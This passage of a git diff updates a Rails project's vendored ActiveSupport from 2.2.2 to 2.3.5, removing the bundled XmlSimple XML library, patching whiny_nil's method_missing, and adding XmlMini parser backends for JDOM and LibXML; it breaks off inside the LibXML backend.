-    @default_options = normalize_option_names(defaults, (KNOWN_OPTIONS['in'] + KNOWN_OPTIONS['out']).uniq)
-    @options = Hash.new
-    @_var_values = nil
-  end
-
-  # Converts an XML document in the same way as the Perl module XML::Simple.
-  #
-  # string::
-  #   XML source. Could be one of the following:
-  #
-  #   - nil: Tries to load and parse '<scriptname>.xml'.
-  #   - filename: Tries to load and parse filename.
-  #   - IO object: Reads from object until EOF is detected and parses result.
-  #   - XML string: Parses string.
-  #   
-  # options::
-  #   Options to be used.
-  def xml_in(string = nil, options = nil)
-    handle_options('in', options)
-
-    # If no XML string or filename was supplied look for scriptname.xml.
-    if string.nil?
-      string = File::basename($0)
-      string.sub!(/\.[^.]+$/, '')
-      string += '.xml'
-
-      directory = File::dirname($0)
-      @options['searchpath'].unshift(directory) unless directory.nil?
-    end
-
-    if string.instance_of?(String)
-      if string =~ /<.*?>/m
-        @doc = parse(string)
-      elsif string == '-'
-        @doc = parse($stdin.readlines.to_s)
-      else
-        filename = find_xml_file(string, @options['searchpath'])
-
-        if @options.has_key?('cache')
-          @options['cache'].each { |scheme|
-            case(scheme)
-            when 'storable'
-              content = @@cache.restore_storable(filename)
-            when 'mem_share'
-              content = @@cache.restore_mem_share(filename)
-            when 'mem_copy'
-              content = @@cache.restore_mem_copy(filename)
-            else
-              raise ArgumentError, "Unsupported caching scheme: <#{scheme}>."
-            end
-            return content if content
-          }
-        end
-        
-        @doc = load_xml_file(filename)
-      end
-    elsif string.kind_of?(IO) || string.kind_of?(StringIO)
-      @doc = parse(string.readlines.to_s)
-    else
-      raise ArgumentError, "Could not parse object of type: <#{string.type}>."
-    end
-
-    result = collapse(@doc.root)
-    result = @options['keeproot'] ? merge({}, @doc.root.name, result) : result
-    put_into_cache(result, filename)
-    result
-  end
-
-  # This is the functional version of the instance method xml_in.
-  def XmlSimple.xml_in(string = nil, options = nil)
-    xml_simple = XmlSimple.new
-    xml_simple.xml_in(string, options)
-  end
-  
-  # Converts a data structure into an XML document.
-  #
-  # ref::
-  #   Reference to data structure to be converted into XML.
-  # options::
-  #   Options to be used.
-  def xml_out(ref, options = nil)
-    handle_options('out', options)
-    if ref.instance_of?(Array)
-      ref = { @options['anonymoustag'] => ref }
-    end
-
-    if @options['keeproot']
-      keys = ref.keys
-      if keys.size == 1
-        ref = ref[keys[0]]
-        @options['rootname'] = keys[0]
-      end
-    elsif @options['rootname'] == ''
-      if ref.instance_of?(Hash)
-        refsave = ref
-        ref = {}
-        refsave.each { |key, value|
-          if !scalar(value)
-            ref[key] = value
-          else
-            ref[key] = [ value.to_s ]
-          end
-        }
-      end
-    end
-
-    @ancestors = []
-    xml = value_to_xml(ref, @options['rootname'], '')
-    @ancestors = nil
-
-    if @options['xmldeclaration']
-      xml = @options['xmldeclaration'] + "\n" + xml
-    end
-
-    if @options.has_key?('outputfile')
-      if @options['outputfile'].kind_of?(IO)
-        return @options['outputfile'].write(xml)
-      else
-        File.open(@options['outputfile'], "w") { |file| file.write(xml) }
-      end
-    end
-    xml
-  end
-
-  # This is the functional version of the instance method xml_out.
-  def XmlSimple.xml_out(hash, options = nil)
-    xml_simple = XmlSimple.new
-    xml_simple.xml_out(hash, options)
-  end
-  
-  private
-
-  # Declare options that are valid for xml_in and xml_out.
-  KNOWN_OPTIONS = {
-    'in'  => %w(
-      keyattr keeproot forcecontent contentkey noattr
-      searchpath forcearray suppressempty anonymoustag
-      cache grouptags normalisespace normalizespace
-      variables varattr keytosymbol
-    ),
-    'out' => %w(
-      keyattr keeproot contentkey noattr rootname
-      xmldeclaration outputfile noescape suppressempty
-      anonymoustag indent grouptags noindent
-    )
-  }
-
-  # Define some reasonable defaults.
-  DEF_KEY_ATTRIBUTES  = []
-  DEF_ROOT_NAME       = 'opt'
-  DEF_CONTENT_KEY     = 'content'
-  DEF_XML_DECLARATION = "<?xml version='1.0' standalone='yes'?>"
-  DEF_ANONYMOUS_TAG   = 'anon'
-  DEF_FORCE_ARRAY     = true
-  DEF_INDENTATION     = '  '
-  DEF_KEY_TO_SYMBOL   = false
-  
-  # Normalizes option names in a hash, i.e., turns all
-  # characters to lower case and removes all underscores.
-  # Additionally, this method checks, if an unknown option
-  # was used and raises an according exception.
-  #
-  # options::
-  #   Hash to be normalized.
-  # known_options::
-  #   List of known options.
-  def normalize_option_names(options, known_options)
-    return nil if options.nil?
-    result = Hash.new
-    options.each { |key, value|
-      lkey = key.downcase
-      lkey.gsub!(/_/, '')
-      if !known_options.member?(lkey)
-        raise ArgumentError, "Unrecognised option: #{lkey}."
-      end
-      result[lkey] = value
-    }
-    result
-  end
-  
-  # Merges a set of options with the default options.
-  # 
-  # direction::
-  #  'in':  If options should be handled for xml_in.
-  #  'out': If options should be handled for xml_out.
-  # options::
-  #   Options to be merged with the default options.
-  def handle_options(direction, options)
-    @options = options || Hash.new
-
-    raise ArgumentError, "Options must be a Hash!" unless @options.instance_of?(Hash)
-
-    unless KNOWN_OPTIONS.has_key?(direction)
-      raise ArgumentError, "Unknown direction: <#{direction}>."
-    end
-
-    known_options = KNOWN_OPTIONS[direction]
-    @options = normalize_option_names(@options, known_options)
-
-    unless @default_options.nil?
-      known_options.each { |option|
-        unless @options.has_key?(option)
-          if @default_options.has_key?(option)
-            @options[option] = @default_options[option]
-          end
-        end
-      }
-    end
-
-    unless @options.has_key?('noattr')
-        @options['noattr'] = false
-    end
-
-    if @options.has_key?('rootname')
-      @options['rootname'] = '' if @options['rootname'].nil?
-    else
-      @options['rootname'] = DEF_ROOT_NAME
-    end
-
-    if @options.has_key?('xmldeclaration') && @options['xmldeclaration'] == true
-      @options['xmldeclaration'] = DEF_XML_DECLARATION
-    end
-
-    @options['keytosymbol'] = DEF_KEY_TO_SYMBOL unless @options.has_key?('keytosymbol')
-
-    if @options.has_key?('contentkey')
-      if @options['contentkey'] =~ /^-(.*)$/
-        @options['contentkey']    = $1
-        @options['collapseagain'] = true
-      end
-    else
-      @options['contentkey'] = DEF_CONTENT_KEY
-    end
-
-    unless @options.has_key?('normalisespace')
-      @options['normalisespace'] = @options['normalizespace']
-    end
-    @options['normalisespace'] = 0 if @options['normalisespace'].nil?
-
-    if @options.has_key?('searchpath')
-      unless @options['searchpath'].instance_of?(Array)
-        @options['searchpath'] = [ @options['searchpath'] ]
-      end
-    else
-      @options['searchpath'] = []
-    end
-
-    if @options.has_key?('cache') && scalar(@options['cache'])
-      @options['cache'] = [ @options['cache'] ]
-    end
-
-    @options['anonymoustag'] = DEF_ANONYMOUS_TAG unless @options.has_key?('anonymoustag')
-
-    if !@options.has_key?('indent') || @options['indent'].nil?
-      @options['indent'] = DEF_INDENTATION
-    end
-
-    @options['indent'] = '' if @options.has_key?('noindent')
-
-    # Special cleanup for 'keyattr' which could be an array or
-    # a hash or left to default to array.
-    if @options.has_key?('keyattr')
-      if !scalar(@options['keyattr'])
-        # Convert keyattr => { elem => '+attr' }
-        #      to keyattr => { elem => ['attr', '+'] }
-        if @options['keyattr'].instance_of?(Hash)
-          @options['keyattr'].each { |key, value|
-            if value =~ /^([-+])?(.*)$/
-              @options['keyattr'][key] = [$2, $1 ? $1 : '']
-            end
-          }
-        elsif !@options['keyattr'].instance_of?(Array)
-          raise ArgumentError, "'keyattr' must be String, Hash, or Array!"
-        end
-      else
-        @options['keyattr'] = [ @options['keyattr'] ]
-      end
-    else
-      @options['keyattr'] = DEF_KEY_ATTRIBUTES
-    end
-
-    if @options.has_key?('forcearray')
-      if @options['forcearray'].instance_of?(Regexp)
-        @options['forcearray'] = [ @options['forcearray'] ]
-      end
-
-      if @options['forcearray'].instance_of?(Array)
-        force_list = @options['forcearray']
-        unless force_list.empty?
-          @options['forcearray'] = {}
-          force_list.each { |tag|
-            if tag.instance_of?(Regexp)
-              unless @options['forcearray']['_regex'].instance_of?(Array)
-                @options['forcearray']['_regex'] = []
-              end
-              @options['forcearray']['_regex'] << tag
-            else
-              @options['forcearray'][tag] = true
-            end
-          }
-        else
-          @options['forcearray'] = false
-        end
-      else
-        @options['forcearray'] = @options['forcearray'] ? true : false
-      end
-    else
-      @options['forcearray'] = DEF_FORCE_ARRAY
-    end
-
-    if @options.has_key?('grouptags') && !@options['grouptags'].instance_of?(Hash)
-      raise ArgumentError, "Illegal value for 'GroupTags' option - expected a Hash."
-    end
-
-    if @options.has_key?('variables') && !@options['variables'].instance_of?(Hash)
-      raise ArgumentError, "Illegal value for 'Variables' option - expected a Hash."
-    end
-
-    if @options.has_key?('variables')
-      @_var_values = @options['variables']
-    elsif @options.has_key?('varattr')
-      @_var_values = {}
-    end
-  end
-
-  # Actually converts an XML document element into a data structure.
-  #
-  # element::
-  #   The document element to be collapsed.
-  def collapse(element)
-    result = @options['noattr'] ? {} : get_attributes(element)
-
-    if @options['normalisespace'] == 2
-      result.each { |k, v| result[k] = normalise_space(v) }
-    end
-
-    if element.has_elements?
-      element.each_element { |child|
-        value = collapse(child)
-        if empty(value) && (element.attributes.empty? || @options['noattr'])
-          next if @options.has_key?('suppressempty') && @options['suppressempty'] == true
-        end
-        result = merge(result, child.name, value)
-      }
-      if has_mixed_content?(element)
-        # normalisespace?
-        content = element.texts.map { |x| x.to_s }
-        content = content[0] if content.size == 1
-        result[@options['contentkey']] = content
-      end
-    elsif element.has_text? # i.e. it has only text.
-      return collapse_text_node(result, element)
-    end
-
-    # Turn Arrays into Hashes if key fields present.
-    count = fold_arrays(result)
-
-    # Disintermediate grouped tags.
-    if @options.has_key?('grouptags')
-      result.each { |key, value|
-        next unless (value.instance_of?(Hash) && (value.size == 1))
-        child_key, child_value = value.to_a[0]
-        if @options['grouptags'][key] == child_key
-          result[key] = child_value
-        end
-      }
-    end
-    
-    # Fold Hashes containing a single anonymous Array up into just the Array.
-    if count == 1 
-      anonymoustag = @options['anonymoustag']
-      if result.has_key?(anonymoustag) && result[anonymoustag].instance_of?(Array)
-        return result[anonymoustag]
-      end
-    end
-
-    if result.empty? && @options.has_key?('suppressempty')
-      return @options['suppressempty'] == '' ? '' : nil
-    end
-
-    result
-  end
-
-  # Collapses a text node and merges it with an existing Hash, if
-  # possible.
-  # Thanks to Curtis Schofield for reporting a subtle bug.
-  #
-  # hash::
-  #   Hash to merge text node value with, if possible.
-  # element::
-  #   Text node to be collapsed.
-  def collapse_text_node(hash, element)
-    value = node_to_text(element)
-    if empty(value) && !element.has_attributes?
-      return {}
-    end
-
-    if element.has_attributes? && !@options['noattr']
-      return merge(hash, @options['contentkey'], value)
-    else
-      if @options['forcecontent']
-        return merge(hash, @options['contentkey'], value)
-      else
-        return value
-      end
-    end
-  end
-
-  # Folds all arrays in a Hash.
-  # 
-  # hash::
-  #   Hash to be folded.
-  def fold_arrays(hash)
-    fold_amount = 0
-    keyattr = @options['keyattr']
-    if (keyattr.instance_of?(Array) || keyattr.instance_of?(Hash))
-      hash.each { |key, value|
-        if value.instance_of?(Array)
-          if keyattr.instance_of?(Array)
-            hash[key] = fold_array(value)
-          else
-            hash[key] = fold_array_by_name(key, value)
-          end
-          fold_amount += 1
-        end
-      }
-    end
-    fold_amount
-  end
-
-  # Folds an Array to a Hash, if possible. Folding happens
-  # according to the content of keyattr, which has to be
-  # an array.
-  #
-  # array::
-  #   Array to be folded.
-  def fold_array(array)
-    hash = Hash.new
-    array.each { |x|
-      return array unless x.instance_of?(Hash)
-      key_matched = false
-      @options['keyattr'].each { |key|
-        if x.has_key?(key)
-          key_matched = true
-          value = x[key]
-          return array if value.instance_of?(Hash) || value.instance_of?(Array)
-          value = normalise_space(value) if @options['normalisespace'] == 1
-          x.delete(key)
-          hash[value] = x
-          break
-        end
-      }
-      return array unless key_matched
-    }
-    hash = collapse_content(hash) if @options['collapseagain']
-    hash
-  end
-  
-  # Folds an Array to a Hash, if possible. Folding happens
-  # according to the content of keyattr, which has to be
-  # a Hash.
-  #
-  # name::
-  #   Name of the attribute to be folded upon.
-  # array::
-  #   Array to be folded.
-  def fold_array_by_name(name, array)
-    return array unless @options['keyattr'].has_key?(name)
-    key, flag = @options['keyattr'][name]
-
-    hash = Hash.new
-    array.each { |x|
-      if x.instance_of?(Hash) && x.has_key?(key)
-        value = x[key]
-        return array if value.instance_of?(Hash) || value.instance_of?(Array)
-        value = normalise_space(value) if @options['normalisespace'] == 1
-        hash[value] = x
-        hash[value]["-#{key}"] = hash[value][key] if flag == '-'
-        hash[value].delete(key) unless flag == '+'
-      else
-        $stderr.puts("Warning: <#{name}> element has no '#{key}' attribute.")
-        return array
-      end
-    }
-    hash = collapse_content(hash) if @options['collapseagain']
-    hash
-  end
-
-  # Tries to collapse a Hash even more ;-)
-  #
-  # hash::
-  #   Hash to be collapsed again.
-  def collapse_content(hash)
-    content_key = @options['contentkey']
-    hash.each_value { |value|
-      return hash unless value.instance_of?(Hash) && value.size == 1 && value.has_key?(content_key)
-      hash.each_key { |key| hash[key] = hash[key][content_key] }
-    }
-    hash
-  end
-  
-  # Adds a new key/value pair to an existing Hash. If the key to be added
-  # does already exist and the existing value associated with key is not
-  # an Array, it will be converted into an Array. Then the new value is
-  # appended to that Array.
-  #
-  # hash::
-  #   Hash to add key/value pair to.
-  # key::
-  #   Key to be added.
-  # value::
-  #   Value to be associated with key.
-  def merge(hash, key, value)
-    if value.instance_of?(String)
-      value = normalise_space(value) if @options['normalisespace'] == 2
-
-      # do variable substitutions
-      unless @_var_values.nil? || @_var_values.empty?
-        value.gsub!(/\$\{(\w+)\}/) { |x| get_var($1) }
-      end
-      
-      # look for variable definitions
-      if @options.has_key?('varattr')
-        varattr = @options['varattr']
-        if hash.has_key?(varattr)
-          set_var(hash[varattr], value)
-        end
-      end
-    end
-    
-    #patch for converting keys to symbols
-    if @options.has_key?('keytosymbol')
-      if @options['keytosymbol'] == true
-        key = key.to_s.downcase.to_sym
-      end
-    end
-    
-    if hash.has_key?(key)
-      if hash[key].instance_of?(Array)
-        hash[key] << value
-      else
-        hash[key] = [ hash[key], value ]
-      end
-    elsif value.instance_of?(Array) # Handle anonymous arrays.
-      hash[key] = [ value ]
-    else
-      if force_array?(key)
-        hash[key] = [ value ]
-      else
-        hash[key] = value
-      end
-    end
-    hash
-  end
-  
-  # Checks, if the 'forcearray' option has to be used for
-  # a certain key.
-  def force_array?(key)
-    return false if key == @options['contentkey']
-    return true if @options['forcearray'] == true
-    forcearray = @options['forcearray']
-    if forcearray.instance_of?(Hash)
-      return true if forcearray.has_key?(key) 
-      return false unless forcearray.has_key?('_regex')
-      forcearray['_regex'].each { |x| return true if key =~ x }
-    end
-    return false
-  end
-  
-  # Converts the attributes array of a document node into a Hash.
-  # Returns an empty Hash, if node has no attributes.
-  #
-  # node::
-  #   Document node to extract attributes from.
-  def get_attributes(node)
-    attributes = {}
-    node.attributes.each { |n,v| attributes[n] = v }
-    attributes
-  end
-  
-  # Determines, if a document element has mixed content.
-  #
-  # element::
-  #   Document element to be checked.
-  def has_mixed_content?(element)
-    if element.has_text? && element.has_elements?
-      return true if element.texts.join('') !~ /^\s*$/s
-    end
-    false
-  end
-  
-  # Called when a variable definition is encountered in the XML.
-  # A variable definition looks like
-  #    <element attrname="name">value</element>
-  # where attrname matches the varattr setting.
-  def set_var(name, value)
-    @_var_values[name] = value
-  end
-
-  # Called during variable substitution to get the value for the
-  # named variable.
-  def get_var(name)
-    if @_var_values.has_key?(name)
-      return @_var_values[name]
-    else
-      return "${#{name}}"
-    end
-  end
-  
-  # Recurses through a data structure building up and returning an
-  # XML representation of that structure as a string.
-  #
-  # ref::
-  #   Reference to the data structure to be encoded.
-  # name::
-  #   The XML tag name to be used for this item.
-  # indent::
-  #   A string of spaces for use as the current indent level.
-  def value_to_xml(ref, name, indent)
-    named = !name.nil? && name != ''
-    nl    = @options.has_key?('noindent') ? '' : "\n"
-
-    if !scalar(ref)
-      if @ancestors.member?(ref)
-        raise ArgumentError, "Circular data structures not supported!"
-      end
-      @ancestors << ref
-    else
-      if named
-        return [indent, '<', name, '>', @options['noescape'] ? ref.to_s : escape_value(ref.to_s), '</', name, '>', nl].join('')
-      else
-        return ref.to_s + nl
-      end
-    end
-
-    # Unfold hash to array if possible.
-    if ref.instance_of?(Hash) && !ref.empty? && !@options['keyattr'].empty? && indent != ''
-      ref = hash_to_array(name, ref)
-    end
-
-    result = []
-    if ref.instance_of?(Hash)
-      # Reintermediate grouped values if applicable.
-      if @options.has_key?('grouptags')
-        ref.each { |key, value|
-          if @options['grouptags'].has_key?(key)
-            ref[key] = { @options['grouptags'][key] => value }
-          end
-        }
-      end
-      
-      nested = []
-      text_content = nil
-      if named
-        result << indent << '<' << name
-      end
-
-      if !ref.empty?
-        ref.each { |key, value|
-          next if !key.nil? && key[0, 1] == '-'
-          if value.nil?
-            unless @options.has_key?('suppressempty') && @options['suppressempty'].nil?
-              raise ArgumentError, "Use of uninitialized value!"
-            end
-            value = {}
-          end
-
-          if !scalar(value) || @options['noattr']
-            nested << value_to_xml(value, key, indent + @options['indent'])
-          else
-            value = value.to_s
-            value = escape_value(value) unless @options['noescape']
-            if key == @options['contentkey']
-              text_content = value
-            else
-              result << ' ' << key << '="' << value << '"'
-            end
-          end
-        }
-      else
-        text_content = ''
-      end
-
-      if !nested.empty? || !text_content.nil?
-        if named
-          result << '>'
-          if !text_content.nil?
-            result << text_content
-            nested[0].sub!(/^\s+/, '') if !nested.empty?
-          else
-            result << nl
-          end
-          if !nested.empty?
-            result << nested << indent
-          end
-          result << '</' << name << '>' << nl
-        else
-          result << nested
-        end
-      else
-        result << ' />' << nl
-      end
-    elsif ref.instance_of?(Array)
-      ref.each { |value|
-        if scalar(value)
-          result << indent << '<' << name << '>'
-          result << (@options['noescape'] ? value.to_s : escape_value(value.to_s))
-          result << '</' << name << '>' << nl
-        elsif value.instance_of?(Hash)
-          result << value_to_xml(value, name, indent)
-        else
-          result << indent << '<' << name << '>' << nl
-          result << value_to_xml(value, @options['anonymoustag'], indent + @options['indent'])
-          result << indent << '</' << name << '>' << nl
-        end
-      }
-    else
-      # Probably, this is obsolete.
-      raise ArgumentError, "Can't encode a value of type: #{ref.type}."
-    end
-    @ancestors.pop if !scalar(ref)
-    result.join('')
-  end
-  
-  # Checks, if a certain value is a "scalar" value. Whatever
-  # that will be in Ruby ... ;-)
-  # 
-  # value::
-  #   Value to be checked.
-  def scalar(value)
-    return false if value.instance_of?(Hash) || value.instance_of?(Array)
-    return true
-  end
-
-  # Attempts to unfold a hash of hashes into an array of hashes. Returns
-  # a reference to th array on success or the original hash, if unfolding
-  # is not possible.
-  # 
-  # parent::
-  #   
-  # hashref::
-  #   Reference to the hash to be unfolded.
-  def hash_to_array(parent, hashref)
-    arrayref = []
-    hashref.each { |key, value|
-      return hashref unless value.instance_of?(Hash)
-
-      if @options['keyattr'].instance_of?(Hash)
-        return hashref unless @options['keyattr'].has_key?(parent)
-        arrayref << { @options['keyattr'][parent][0] => key }.update(value)
-      else
-        arrayref << { @options['keyattr'][0] => key }.update(value)
-      end
-    }
-    arrayref
-  end
-  
-  # Replaces XML markup characters by their external entities.
-  #
-  # data::
-  #   The string to be escaped.
-  def escape_value(data)
-    Text::normalize(data)
-  end
-  
-  # Removes leading and trailing whitespace and sequences of
-  # whitespaces from a string.
-  #
-  # text::
-  #   String to be normalised.
-  def normalise_space(text)
-    text.strip.gsub(/\s\s+/, ' ')
-  end
-
-  # Checks, if an object is nil, an empty String or an empty Hash.
-  # Thanks to Norbert Gawor for a bugfix.
-  #
-  # value::
-  #   Value to be checked for emptiness.
-  def empty(value)
-    case value
-      when Hash
-        return value.empty?
-      when String
-        return value !~ /\S/m
-      else
-        return value.nil?
-    end
-  end
-  
-  # Converts a document node into a String.
-  # If the node could not be converted into a String
-  # for any reason, default will be returned.
-  #
-  # node::
-  #   Document node to be converted.
-  # default::
-  #   Value to be returned, if node could not be converted.
-  def node_to_text(node, default = nil)
-    if node.instance_of?(REXML::Element) 
-      node.texts.map { |t| t.value }.join('')
-    elsif node.instance_of?(REXML::Attribute)
-      node.value.nil? ? default : node.value.strip
-    elsif node.instance_of?(REXML::Text)
-      node.value.strip
-    else
-      default
-    end
-  end
-
-  # Parses an XML string and returns the according document.
-  #
-  # xml_string::
-  #   XML string to be parsed.
-  #
-  # The following exception may be raised:
-  #
-  # REXML::ParseException::
-  #   If the specified file is not wellformed.
-  def parse(xml_string)
-    Document.new(xml_string)
-  end
-  
-  # Searches in a list of paths for a certain file. Returns
-  # the full path to the file, if it could be found. Otherwise,
-  # an exception will be raised.
-  #
-  # filename::
-  #   Name of the file to search for.
-  # searchpath::
-  #   List of paths to search in.
-  def find_xml_file(file, searchpath)
-    filename = File::basename(file)
-
-    if filename != file
-      return file if File::file?(file)
-    else
-      searchpath.each { |path|
-        full_path = File::join(path, filename)
-        return full_path if File::file?(full_path)
-      }
-    end
-
-    if searchpath.empty?
-      return file if File::file?(file)
-      raise ArgumentError, "File does not exist: #{file}."
-    end
-    raise ArgumentError, "Could not find <#{filename}> in <#{searchpath.join(':')}>"
-  end
-  
-  # Loads and parses an XML configuration file.
-  #
-  # filename::
-  #   Name of the configuration file to be loaded.
-  #
-  # The following exceptions may be raised:
-  # 
-  # Errno::ENOENT::
-  #   If the specified file does not exist.
-  # REXML::ParseException::
-  #   If the specified file is not wellformed.
-  def load_xml_file(filename)
-    parse(File.readlines(filename).to_s)
-  end
-
-  # Caches the data belonging to a certain file.
-  #
-  # data::
-  #   Data to be cached.
-  # filename::
-  #   Name of file the data was read from.
-  def put_into_cache(data, filename)
-    if @options.has_key?('cache')
-      @options['cache'].each { |scheme|
-        case(scheme)
-        when 'storable'
-          @@cache.save_storable(data, filename)
-        when 'mem_share'
-          @@cache.save_mem_share(data, filename)
-        when 'mem_copy'
-          @@cache.save_mem_copy(data, filename)
-        else
-          raise ArgumentError, "Unsupported caching scheme: <#{scheme}>."
-        end
-      }
-    end
-  end
-end
-
-# vim:sw=2
diff --git a/vendor/rails/activesupport/lib/active_support/version.rb b/vendor/rails/activesupport/lib/active_support/version.rb
index 07273598..475a0a0f 100644
--- a/vendor/rails/activesupport/lib/active_support/version.rb
+++ b/vendor/rails/activesupport/lib/active_support/version.rb
@@ -1,8 +1,8 @@
 module ActiveSupport
   module VERSION #:nodoc:
     MAJOR = 2
-    MINOR = 2
-    TINY  = 2
+    MINOR = 3
+    TINY  = 5
 
     STRING = [MAJOR, MINOR, TINY].join('.')
   end
diff --git a/vendor/rails/activesupport/lib/active_support/whiny_nil.rb b/vendor/rails/activesupport/lib/active_support/whiny_nil.rb
index 36fe9510..c4aaba7a 100644
--- a/vendor/rails/activesupport/lib/active_support/whiny_nil.rb
+++ b/vendor/rails/activesupport/lib/active_support/whiny_nil.rb
@@ -43,7 +43,14 @@ class NilClass
 
   private
     def method_missing(method, *args, &block)
-      raise_nil_warning_for METHOD_CLASS_MAP[method], method, caller
+      # Ruby 1.9.2: disallow explicit coercion via method_missing.
+      if method == :to_ary || method == :to_str
+        super
+      elsif klass = METHOD_CLASS_MAP[method]
+        raise_nil_warning_for klass, method, caller
+      else
+        super
+      end
     end
 
     # Raises a NoMethodError when you attempt to call a method on +nil+.
@@ -55,4 +62,3 @@ class NilClass
       raise NoMethodError, message, with_caller || caller
     end
 end
-
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini.rb b/vendor/rails/activesupport/lib/active_support/xml_mini.rb
new file mode 100644
index 00000000..ccd13494
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/xml_mini.rb
@@ -0,0 +1,31 @@
+module ActiveSupport
+  # = XmlMini
+  #
+  # To use the much faster libxml parser:
+  #   gem 'libxml-ruby', '=0.9.7'
+  #   XmlMini.backend = 'LibXML'
+  module XmlMini
+    extend self
+
+    attr_reader :backend
+    delegate :parse, :to => :backend
+
+    def backend=(name)
+      if name.is_a?(Module)
+        @backend = name
+      else
+        require "active_support/xml_mini/#{name.to_s.downcase}.rb"
+        @backend = ActiveSupport.const_get("XmlMini_#{name}")
+      end
+    end
+
+    def with_backend(name)
+      old_backend, self.backend = backend, name
+      yield
+    ensure
+      self.backend = old_backend
+    end
+  end
+
+  XmlMini.backend = 'REXML'
+end
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/jdom.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/jdom.rb
new file mode 100644
index 00000000..d795d556
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/xml_mini/jdom.rb
@@ -0,0 +1,162 @@
+raise "JRuby is required to use the JDOM backend for XmlMini" unless RUBY_PLATFORM =~ /java/
+
+require 'jruby'
+include Java
+
+import javax.xml.parsers.DocumentBuilder unless defined? DocumentBuilder
+import javax.xml.parsers.DocumentBuilderFactory unless defined? DocumentBuilderFactory
+import java.io.StringReader unless defined? StringReader
+import org.xml.sax.InputSource unless defined? InputSource
+import org.xml.sax.Attributes unless defined? Attributes
+import org.w3c.dom.Node unless defined? Node
+
+# = XmlMini JRuby JDOM implementation
+module ActiveSupport
+  module XmlMini_JDOM #:nodoc:
+    extend self
+
+    CONTENT_KEY = '__content__'.freeze
+
+    NODE_TYPE_NAMES = %w{ATTRIBUTE_NODE CDATA_SECTION_NODE COMMENT_NODE DOCUMENT_FRAGMENT_NODE
+    DOCUMENT_NODE DOCUMENT_TYPE_NODE ELEMENT_NODE ENTITY_NODE ENTITY_REFERENCE_NODE NOTATION_NODE
+    PROCESSING_INSTRUCTION_NODE TEXT_NODE}
+
+    node_type_map = {}
+    NODE_TYPE_NAMES.each { |type| node_type_map[Node.send(type)] = type }
+
+    # Parse an XML Document string into a simple hash using Java's jdom.
+    # string::
+    #   XML Document string to parse
+    def parse(string)
+      if string.blank?
+        {}
+      else
+        @dbf = DocumentBuilderFactory.new_instance
+        xml_string_reader = StringReader.new(string)
+        xml_input_source = InputSource.new(xml_string_reader)
+        doc = @dbf.new_document_builder.parse(xml_input_source)
+        merge_element!({}, doc.document_element)
+      end
+    end
+
+    private
+
+    # Convert an XML element and merge into the hash
+    #
+    # hash::
+    #   Hash to merge the converted element into.
+    # element::
+    #   XML element to merge into hash
+    def merge_element!(hash, element)
+      merge!(hash, element.tag_name, collapse(element))
+    end
+
+    # Actually converts an XML document element into a data structure.
+    #
+    # element::
+    #   The document element to be collapsed.
+    def collapse(element)
+      hash = get_attributes(element)
+
+      child_nodes = element.child_nodes
+      if child_nodes.length > 0
+        for i in 0...child_nodes.length
+          child = child_nodes.item(i)
+          merge_element!(hash, child) unless child.node_type == Node.TEXT_NODE
+        end
+        merge_texts!(hash, element) unless empty_content?(element)
+        hash
+      else
+        merge_texts!(hash, element)
+      end
+    end
+
+    # Merge all the texts of an element into the hash
+    #
+    # hash::
+    #   Hash to add the converted emement to.
+    # element::
+    #   XML element whose texts are to me merged into the hash
+    def merge_texts!(hash, element)
+      text_children = texts(element)
+      if text_children.join.empty?
+        hash
+      else
+        # must use value to prevent double-escaping
+        merge!(hash, CONTENT_KEY, text_children.join)
+      end
+    end
+
+    # Adds a new key/value pair to an existing Hash. If the key to be added
+    # already exists and the existing value associated with key is not
+    # an Array, it will be wrapped in an Array. Then the new value is
+    # appended to that Array.
+    #
+    # hash::
+    #   Hash to add key/value pair to.
+    # key::
+    #   Key to be added.
+    # value::
+    #   Value to be associated with key.
+    def merge!(hash, key, value)
+      if hash.has_key?(key)
+        if hash[key].instance_of?(Array)
+          hash[key] << value
+        else
+          hash[key] = [hash[key], value]
+        end
+      elsif value.instance_of?(Array)
+        hash[key] = [value]
+      else
+        hash[key] = value
+      end
+      hash
+    end
+
+    # Converts the attributes array of an XML element into a hash.
+    # Returns an empty Hash if node has no attributes.
+    #
+    # element::
+    #   XML element to extract attributes from.
+    def get_attributes(element)
+      attribute_hash = {}
+      attributes = element.attributes
+      for i in 0...attributes.length
+         attribute_hash[attributes.item(i).name] =  attributes.item(i).value
+       end
+      attribute_hash
+    end
+
+    # Determines if a document element has text content
+    #
+    # element::
+    #   XML element to be checked.
+    def texts(element)
+      texts = []
+      child_nodes = element.child_nodes
+      for i in 0...child_nodes.length
+        item = child_nodes.item(i)
+        if item.node_type == Node.TEXT_NODE
+          texts << item.get_data
+        end
+      end
+      texts
+    end
+
+    # Determines if a document element has text content
+    #
+    # element::
+    #   XML element to be checked.
+    def empty_content?(element)
+      text = ''
+      child_nodes = element.child_nodes
+      for i in 0...child_nodes.length
+        item = child_nodes.item(i)
+        if item.node_type == Node.TEXT_NODE
+          text << item.get_data.strip
+        end
+      end
+      text.strip.length == 0
+    end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/libxml.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/libxml.rb
new file mode 100644
index 00000000..3586b24a
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/xml_mini/libxml.rb
@@ -0,0 +1,133 @@
+require 'libxml'
+
+# = XmlMini LibXML implementation
+module ActiveSupport
+  module XmlMini_LibXML #:nodoc:
+    extend self
+
+    # Parse an XML Document string into a simple hash using libxml.
+    # string::
+    #   XML Document string to parse
+    def parse(string)
+      LibXML::XML.default_keep_blanks = false
+
+      if string.blank?
+        {}
+      else
+        LibXML::XML::Parser.string(string.strip).parse.to_hash
+      end
+    end
+
+  end
+end
+
+module LibXML
+  module Conversions
+    module Document
+      def to_hash
+        root.to_hash
+      end
+    end
+
+    module Node
+      CONTENT_ROOT = '__content__'
+      LIB_XML_LIMIT = 30000000 # Hardcoded LibXML limit
+
+      # Convert XML document to hash
+      #
+      # hash::
+      #   Hash to merge the converted element into.
+      def to_hash(hash={})
+        if text?
+          raise LibXML::XML::Error if content.length >= LIB_XML_LIMIT
+          hash[CONTENT_ROOT] = content
+        else
+          sub_hash = insert_name_into_hash(hash, name)
+          attributes_to_hash(sub_hash)
+          if array?
+            children_array_to_hash(sub_hash)
+          elsif yaml?
